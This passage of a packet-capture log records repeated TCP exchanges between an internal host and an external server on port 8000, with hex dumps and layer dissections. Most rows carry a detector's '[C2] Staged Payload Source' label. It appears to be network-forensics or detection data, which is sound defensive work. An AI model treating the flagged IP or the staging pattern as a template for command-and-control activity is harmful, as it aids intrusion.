\"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16348, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200830, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56467, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:17.748579,290,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200831,bc2411360d0cbc24112907bb080045000034ca73400040066580c0a3a7890a98980b1f40fa4eb68ec096a068773f8010003f0af700000101050aa068773ea068773f,\".$.6\n..$.)....E..4.s@.@.e.....\n....@.N.....hw?...?\n......\n.hw>.hw?\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51827, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25984, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200831, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200830, 2691200831))]\"\"}}]\"\n2026-07-01 09:07:18.764240,291,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200830 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b023400080063fdb0a98980bc0a3a789fa4e1f40a068773eb68ec09650102014dc93000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45091, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16347, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200830, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56467, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:18.764263,292,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200831,bc2411360d0cbc24112907bb080045000034ca7440004006657fc0a3a7890a98980b1f40fa4eb68ec096a068773f8010003f0af700000101050aa068773ea068773f,\".$.6\n..$.)....E..4.t@.@.e.....\n....@.N.....hw?...?\n......\n.hw>.hw?\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51828, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25983, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200831, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200830, 2691200831))]\"\"}}]\"\n2026-07-01 09:07:19.779823,293,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200830 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b024400080063fda0a98980bc0a3a789fa4e1f40a068773eb68ec09650102014dc93000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45092, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16346, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200830, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56467, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:19.779847,294,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200831,bc2411360d0cbc24112907bb080045000034ca7540004006657ec0a3a7890a98980b1f40fa4eb68ec096a068773f8010003f0af700000101050aa068773ea068773f,\".$.6\n..$.)....E..4.u@.@.e~....\n....@.N.....hw?...?\n......\n.hw>.hw?\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51829, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25982, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200831, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200830, 2691200831))]\"\"}}]\"\n2026-07-01 09:07:20.779921,295,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200830 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b025400080063fd90a98980bc0a3a789fa4e1f40a068773eb68ec09650102014dc93000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45093, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16345, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200830, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56467, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:20.779957,296,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200831,bc2411360d0cbc24112907bb080045000034ca7640004006657dc0a3a7890a98980b1f40fa4eb68ec096a068773f8010003f0af700000101050aa068773ea068773f,\".$.6\n..$.)....E..4.v@.@.e}....\n....@.N.....hw?...?\n......\n.hw>.hw?\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51830, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25981, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200831, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200830, 2691200831))]\"\"}}]\"\n2026-07-01 09:07:21.779860,297,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200830 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b026400080063fd80a98980bc0a3a789fa4e1f40a068773eb68ec09650102014dc93000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45094, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16344, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200830, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56467, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:21.779867,298,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200831,bc2411360d0cbc24112907bb080045000034ca7740004006657cc0a3a7890a98980b1f40fa4eb68ec096a068773f8010003f0af700000101050aa068773ea068773f,\".$.6\n..$.)....E..4.w@.@.e|....\n....@.N.....hw?...?\n......\n.hw>.hw?\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51831, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25980, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200831, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200830, 2691200831))]\"\"}}]\"\n2026-07-01 09:07:22.779927,299,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200830 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b027400080063fd70a98980bc0a3a789fa4e1f40a068773eb68ec09650102014dc93000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45095, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16343, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200830, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56467, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:22.779962,300,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200831,bc2411360d0cbc24112907bb080045000034ca7840004006657bc0a3a7890a98980b1f40fa4eb68ec096a068773f8010003f0af700000101050aa068773ea068773f,\".$.6\n..$.)....E..4.x@.@.e{....\n....@.N.....hw?...?\n......\n.hw>.hw?\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51832, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25979, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200831, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200830, 2691200831))]\"\"}}]\"\n2026-07-01 09:07:23.795522,301,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200830 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b028400080063fd60a98980bc0a3a789fa4e1f40a068773eb68ec09650102014dc93000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45096, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16342, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200830, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56467, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:23.795539,302,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200831,bc2411360d0cbc24112907bb080045000034ca7940004006657ac0a3a7890a98980b1f40fa4eb68ec096a068773f8010003f0af700000101050aa068773ea068773f,\".$.6\n..$.)....E..4.y@.@.ez....\n....@.N.....hw?...?\n......\n.hw>.hw?\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51833, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25978, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200831, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200830, 2691200831))]\"\"}}]\"\n2026-07-01 09:07:24.811158,303,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200830 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b029400080063fd50a98980bc0a3a789fa4e1f40a068773eb68ec09650102014dc93000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45097, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16341, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200830, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56467, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:24.811183,304,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200831,bc2411360d0cbc24112907bb080045000034ca7a400040066579c0a3a7890a98980b1f40fa4eb68ec096a068773f8010003f0af700000101050aa068773ea068773f,\".$.6\n..$.)....E..4.z@.@.ey....\n....@.N.....hw?...?\n......\n.hw>.hw?\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51834, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25977, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200831, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200830, 2691200831))]\"\"}}]\"\n2026-07-01 09:07:25.735137,305,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=2691200831 Ack=3062808726,bc24112907bbbc2411360d0c08004500003db02a400080063fc00a98980bc0a3a789fa4e1f40a068773fb68ec0965018201476d500001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45098, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16320, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200831, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 30421, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:07:25.735182,306,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200852,bc2411360d0cbc24112907bb080045000028ca7b400040066584c0a3a7890a98980b1f40fa4eb68ec096a06877545010003f0aeb0000,\".$.6\n..$.)....E..(.{@.@.e.....\n....@.N.....hwTP..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": 